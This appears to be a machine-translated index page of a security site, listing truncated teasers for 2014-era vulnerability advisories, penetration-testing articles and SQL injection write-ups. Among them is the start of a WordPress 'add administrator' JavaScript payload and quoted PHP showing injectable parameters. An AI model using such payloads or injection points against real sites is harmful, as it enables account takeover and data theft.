Cloud Security

Kingsoft Office remote code execution vulnerability in CVE-2014-2271) Release date: 2014-12-01Updated on: 2014-3 3 Affected Systems:Kingsoft Corp Office 5.3.1Description:Bugtraq id: 71381CVE (CAN) ID: CVE-2014-2271 Kingsoft Office is a free

Windows Phone 8.1 Privilege Escalation Vulnerability After Microsoft announced its 19-year-old Super vulnerability, developers found a vulnerability on Windows Phone 8.1, Microsoft's latest operating system, attackers can exploit this vulnerability

IE Remote Code Execution Vulnerability (CVE-2014-6332) Exploitation Test Method Test the exploitation of Metasploit Framework All IE versions are used for blocking. However, because the exp in msf calls powershell, The exp code in msf (Metasploit

BitTorrent Bootstrap 'Lazy _ bdecode. cpp 'Remote Code Execution Vulnerability Release date:Updated on: Affected Systems:Github BitTorrent BootstrapDescription:Bugtraq id: 70812CVE (CAN) ID: CVE-2014-8509 BitTorrent Bootstrap is the guiding tool

EMC Avamar information leakage (CVE-2014-4624) Release date:Updated on: Affected Systems:EMC Avamar 6.xDescription:Bugtraq id: 70709CVE (CAN) ID: CVE-2014-4624 EMC Avamar is a remote backup and recovery solution. EMC Avamar Data Store (ADS),

Bugzilla social engineering Vulnerability Release date: 2014-10-09Updated on: 2014-10-09 Affected Systems:Bugzilla 4.5.1-4.5.5Bugzilla 4.3.1-4.4.5Bugzilla 4.1.1-4.2.10Bugzilla 2.17.1-4.0.14Unaffected system:Bugzilla 4.5.6Bugzilla 4.4.6Bugzilla 4.2.11

Huawei honor 3X Android4.2 privilege escalation and phone call Vulnerability This mobile phone call app can be used to raise the right to call the phone, causing the user to deduct the feeCom. android. phone. PhoneGlobals $

Step 5: Protect Web Services in Windows A considerable number of large and medium-sized enterprises are using Windows Server and. Net architecture to build enterprise Web services and applications. Therefore, Web Services and Web applications are

Penetration tests you Don't know: Attack and Defense of application Virtualization (1) Web penetration testing is familiar to everyone, but penetration testing for application virtualization may be rarely used by everyone, and there is no relevant

Using GRC for security research and auditing-converting radio signals into packets0x00 Introduction As a company engaged in information security research and consulting, InGuardians has not only focused on penetration testing and network forensics

Summary of the Elevation of Privilege of intrusion penetration Detection TechnologyHello everyone, I have never written any articles to share with you at the beginning. I hope you will be guilty of guilt.Today we have time to write a process and

Text virus (new virus theory) In the past, when talking about viruses, we had to distinguish between text and executable files. In theory, viruses are program code, so only executable files can be infected, images and other data files cannot be

How to decrypt the configuration of the VIP version of the remote control trojan in Gh0st 1.00x00 Introduction Gh0st is an excellent open-source remote control software developed by Cooldiyer of The Red Wolf group. Some time after the release of

Wordpress3.0-3.92 add administrator Payload Var a = location. href. split ('/'); var xurl = location. href. replace (a [. length-1], "user-new.php"); jQuery. ajax ({url: xurl, type: 'get', dataType: 'html ', data :{},}). done (function (data) {var

[Anti-spoofing art]: Intrusion warning (1)After being interrupted for a long time, I wanted to update an article over the weekend. I didn't want to suddenly burn it to 39.5 degrees. I had to breathe my breath and breathe my breath. I went to the

One ThinkSNS SQL injection (ignoring WAF) Found during development. Apps/page/Lib/Action/DiyAction. class. php line 192: public function doCopyTemplate() {$id = intval ( $_POST ['id'] );$page = $_POST ['page'];$channel = $_POST

TCP three-way handshake and four-way handshakeCompared with SOCKET developers, the TCP creation and link Division processes are automatically created by the TCP/IP protocol stack. therefore, developers do not need to control this process. however,

A common SQL injection vulnerability exists in the financial aid management system of multiple provinces. In a certain province, the financial aid management system has the SQL injection vulnerability. In addition to glyxm injection, xxmc injection

Tinyshop money scalping Vulnerability I saw a money-flushing vulnerability before, but it was enough. Later I saw it.. I only fixed the bug where the previous post overwrites the data array./Protected/controllers/ucenter. php, Row 3 Public function

Ucenter Home latest SQL Injection Download the latest Ucenter Home from the official website First, SQL injection:Personal settings-Personal Data-Basic InformationFile/source/cp_profile.php:  If ($ _ GET ['op'] = 'base') {if (submitcheck